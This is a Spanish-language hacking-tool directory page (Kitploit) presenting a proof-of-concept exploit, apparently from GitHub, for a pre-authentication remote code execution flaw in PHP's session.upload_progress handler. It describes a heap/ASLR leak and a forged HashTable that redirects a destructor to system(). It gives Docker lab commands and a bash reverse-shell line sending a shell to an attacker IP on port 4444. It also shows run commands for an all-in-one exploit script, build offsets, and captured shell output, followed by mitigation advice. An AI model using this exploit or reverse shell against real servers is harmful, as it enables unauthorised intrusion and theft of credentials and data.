Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-109619 — Prueba de concepto de exploit para RCE pre-autenticación en PHP session.upload_progress (PHP2Shell), con fuga de heap/ASLR, perfiles de offsets por compilación y un manejador de reverse shell todo en uno. | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2026-109619
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de PayloadsLabs y Práctica
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

Prueba de concepto de exploit para RCE pre-autenticación en PHP session.upload_progress (PHP2Shell), con fuga de heap/ASLR, perfiles de offsets por compilación y un manejador de reverse shell todo en uno.

7hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★


Descripción general

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) es una vulnerabilidad de ejecución remota de código sin autenticación en PHP bajo Apache mod_php. Una solicitud multipart/form-data manipulada provoca un fallo por agotamiento de memoria en el manejador session.upload_progress previo a la solicitud, dejando punteros obsoletos que filtran las bases del heap de Zend y de libphp.so mediante Set-Cookie (evadiendo ASLR); a continuación, una HashTable falsificada redirige un destructor a zif_system, ejecutando comandos como el worker web (www-data). No se requiere autenticación y la configuración de sesión vulnerable está activada por defecto.


Versiones afectadas

CategoríaVersión
VulnerablePHP 8.2.x / 8.3.x / 8.4.x / 8.5.x anteriores al parche
ParcheadaPHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 o posterior (2026-10-21)
Verificado enphp:8.4.26-apache oficial (Debian 13, amd64)

Los offsets son específicos de cada compilación (versión · arquitectura · distribución). Este PoC incluye un perfil para 8.4.26-apache amd64; otras compilaciones necesitan su propio profiles/*.json.


Impacto

  • Ejecución remota de código como la cuenta del worker web (www-data)
  • Lectura/escritura completa de la raíz del documento, la configuración de la aplicación, las credenciales de la base de datos y los secretos accesibles por esa cuenta
  • Divulgación de memoria (punteros del heap / libphp, y potencialmente tokens de sesión y claves) incluso antes del RCE

Entorno

Víctima = php:8.4.26-apache oficial con la configuración siguiente. El atacante se ejecuta desde un contenedor separado (eqst-kali) en el mismo puente de Docker; la reverse shell se conecta de vuelta a su IP.

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
PrecondiciónEstado en este laboratorio
PHP 8.2–8.5 (sin parchear) + Apache mod_phpPHP 8.4.26 / Apache 2.4.69, prefork
session.upload_progress.enabledActivado (por defecto)
session.use_strict_mode0 (por defecto)
display_errorsActivado (proporciona la fuga de la etapa 1)
memory_limit128M (por defecto — sin cambios)
post_max_size / upload_max_filesize > memory_limit (permite que el cuerpo de una petición alcance el OOM)256M (las aplicaciones con capacidad de carga suelen elevar estos valores)
Un único proceso worker de Apache (el estado obsoleto es por proceso)1

Nota sobre el host (WSL2): en Windows Docker Desktop (WSL2) el kernel mapea libphp en 0x7c..., por debajo de la comprobación ASLR 0x7F... del exploit original, por lo que descarta la fuga válida. p2s_shell.py amplía automáticamente ese rango. En un host Linux nativo el parche no tiene efecto.


PoC

p2s_shell.py es un único proceso que abre su propio listener, obtiene el exploit original, selecciona los offsets de profiles/*.json según la versión de PHP del objetivo, desencadena la cadena y captura una reverse shell mejorada a PTY (sin necesidad de un nc independiente).

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

Requisito previo único: colocar el payload de reverse-shell en la raíz web de la víctima (el portador del comando tiene 14 bytes, por lo que los payloads largos van en un archivo ejecutado mediante bash</w/c, según lo indicado upstream):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

Ejecuta el PoC desde dentro del atacante (las rutas son relativas al script):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

Analiza el fingerprint X-Powered-By: PHP/8.4.26, carga el perfil correspondiente y abre la shell:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Opciones:

  • --run 'c1;c2' — modo por lotes (no se necesita terminal interactiva)
  • --no-pty — mantener un shell simple en lugar de la actualización a PTY
  • --php-version / --arch — sobrescribir la compilación objetivo cuando X-Powered-By está oculto
  • --lport — puerto del reverse shell (debe coincidir con el puerto integrado en /w/c, por defecto 4444)

Mitigación

  • Actualizar PHP a 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 o posterior (la única solución completa); reiniciar los workers después
  • Establecer session.upload_progress.enabled = Off si no se utiliza el progreso de carga
  • Establecer display_errors = Off en producción (bloquea la fuga de la etapa 1 incluida)
  • Ejecutar PHP como un usuario sin privilegios con una raíz de documentos de solo lectura; limitar la tasa de cuerpos multipart grandes en el borde
  • Monitorizar solicitudes multipart con ~1000 campos, cuerpos muy grandes, OOM/500 repetidos, caídas de procesos hijos de Apache y líneas de registro zend_mm_heap corrupted

Análisis

  • KR:
  • EN:
Descargar herramienta